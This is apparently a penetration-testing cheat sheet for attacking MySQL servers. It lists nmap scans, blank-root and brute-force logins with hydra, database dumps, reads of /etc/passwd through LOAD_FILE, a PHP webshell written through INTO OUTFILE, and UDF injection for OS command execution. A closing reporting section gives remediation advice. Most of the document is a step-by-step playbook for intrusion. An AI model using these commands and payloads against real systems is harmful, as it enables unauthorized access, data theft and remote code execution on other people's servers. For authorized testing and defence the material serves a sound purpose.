🛡️ Methodology Checklist
- Banner grab + version:
nmap -p 3306 --script mysql-info [TARGET] - Try blank root:
mysql -u root -h [TARGET](no password) - Brute-force:
hydra -l root -P pass.txt mysql://[TARGET] - If authenticated: enumerate databases →
SHOW DATABASES; - Check for sensitive tables and dump:
SELECT * FROM [TABLE]; - Check FILE privilege for LFI:
SELECT LOAD_FILE('/etc/passwd'); - Write webshell:
SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'; - Check for user hashes in mysql.user table
🎯 Operational Context
Think Dumber First:
mysql -u root -h [TARGET]with no password — this succeeds on ~30% of externally-accessible MySQL instances. If you get in, immediately runSELECT @@version, @@datadir, @@plugin_dirto understand your environment. Even a low-privilege user can dump databases they have SELECT on. UDF injection is the path from SQL user to OS shell on Linux.
When you land here: Port 3306 open. Try root/blank, root/root, root/password. If app credentials available from config files, try those. SHOW GRANTS immediately after auth to assess privileges. LOAD_FILE('/etc/passwd') tests FILE privilege.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
sudo nmap [TARGET_IP] -sV -sC -p3306 --script mysql* | Nmap scan — version, empty password, user list |
mysql -u root -p[PASSWORD] -h [TARGET_IP] | Connect (no space between -p and password!) |
mysql -u root -h [TARGET_IP] | Connect — prompt for password |
| Command | Tactical Outcome |
|---|---|
show databases; | List all databases |
use [database]; | Switch to database |
show tables; | List tables in current database |
show columns from [table]; | Show column names |
select * from [table]; | Dump all rows |
select * from [table] where [col] = "[val]"; | Search for specific value |
select version(); | Show MySQL server version |
select @@version; | Alternative version query |
🔬 Deep Dive & Workflow
Inside MySQL shell:
Initial Enumeration
- Nmap:
sudo nmap [TARGET_IP] -sV -sC -p3306 --script mysql*- Check
mysql-empty-password— root with no password? - Check
mysql-info— protocol version - Check
mysql-users— list of accounts
- Check
- Try root with no password:
mysql -u root -h [TARGET_IP] - Try empty password via nmap result
Attacks
- Connect with found credentials:
mysql -u [USER] -p[PASS] -h [TARGET_IP] -
show databases;→ identify non-default databases - Dump user/credential tables
- Check
secure_file_priv— if empty, may allow file write (RCE via web shell) - Check
/etc/mysql/mysql.conf.d/mysqld.cnffor cleartextpassword=entry if local access
Core Info
- Default Port: 3306 (TCP)
- Often part of LAMP/LEMP stacks — co-located with web servers
- Config:
/etc/mysql/mysql.conf.d/mysqld.cnfor/etc/mysql/my.cnf
Dangerous Config Settings
| Setting | Risk |
|---|---|
user | Shows which OS user runs MySQL — pivot target |
password | Critical — may contain cleartext MySQL password |
debug | Verbose logging may leak sensitive data |
secure_file_priv | If empty → INTO OUTFILE writes files (potential RCE) |
🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| Remote MySQL connection refused | Bound to 127.0.0.1 only | Access via existing shell or SQL injection in web app; try mysql -u root -h 127.0.0.1 from inside the box |
INTO OUTFILE fails ‘Access denied’ | FILE privilege not granted or path not writable by mysql user | Check SHOW GRANTS; try writing to /tmp/ or /var/lib/mysql/; check AppArmor: aa-status |
| UDF injection fails ‘Can’t open shared library’ | SELinux/AppArmor blocking plugin load | Check SHOW VARIABLES LIKE 'plugin_dir'; use raptor_udf2.c and load from the exact plugin_dir path |
| mysqldump exits ‘Access denied on table’ | Partial privileges | Add --no-tablespaces; dump only accessible databases; SHOW DATABASES to confirm accessible schemas |
| Login succeeds but queries very slow | Max packet size exceeded or slow query log enabled | Add --max_allowed_packet=16M; check SHOW PROCESSLIST for blocking queries |
📝 Reporting Trigger
Finding Title: MySQL Root Access with Blank Password / Privileged Database Access
Impact: Full database exfiltration. FILE privilege enables reading OS files (/etc/passwd, SSH keys). UDF injection enables OS command execution as mysql service user.
Root Cause: MySQL root account has no password set. Remote root login permitted (host='%' in mysql.user table).
Recommendation: Set strong root password. Restrict root login to localhost only. Disable remote root login (DELETE FROM mysql.user WHERE User='root' AND Host!='localhost'). Remove FILE privilege from all non-admin accounts. Bind MySQL to 127.0.0.1 (bind-address = 127.0.0.1).